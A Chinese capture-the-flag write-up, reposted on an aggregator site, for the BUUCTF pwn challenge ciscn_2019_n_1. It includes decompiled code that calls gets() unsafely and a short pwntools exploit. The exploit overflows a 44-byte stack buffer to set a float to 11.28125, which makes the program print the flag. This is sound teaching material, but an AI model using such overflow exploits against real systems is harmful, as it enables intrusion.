buuctf pwn ciscn_2019_n_1 wp
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf pwn ciscn_2019_n_1 wp相关的知识,希望对你有一定的参考价值。
一、考点
- 栈溢出
- 浮点数的十六进制表示
二、题目
这是buuctf中的一道pwn题,题目见下图:
三、解题过程
1、检查保护机制
checksec无任何保护机制:
2、运行查看效果
运行该程序,在用户输入时,填充大量的11111111,报段错误,可能存在缓冲区溢出漏洞。
3、IDA静态分析
拖入IDA进行静态分析,主函数main为:
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}
if判断条件v2为11.28125时,才能进入打印flag的代码system(“cat /flag”)。gets(v1)为从终端读入字符串到缓冲区,v1的地址为rbp-30h,将v2覆盖为11.28125时,即可让if判断为真,从v1到v2之前需覆盖0x30h-4h共44个字节。
打开浮点数到十六进制数转换的网站
转换后的值为0x41348000:
4、编写exp
根据IDA中的分析,覆盖v2前需填入44个任意字符,而后填入11.28125对应的十六进制数。
from pwn import *
r = remote('node3.buuoj.cn', 28914)
r.recvuntil('number.\\n')
payload = 'a'*44 + p32(0x41348000)
r.sendline(payload)
r.interactive()
运行该脚本后,得到flag:
以上是关于buuctf pwn ciscn_2019_n_1 wp的主要内容,如果未能解决你的问题,请参考以下文章
&pwn1_sctf_2016 &ciscn_2019_n_1 &ciscn_2019_c_1 &ciscn_2019_en_2&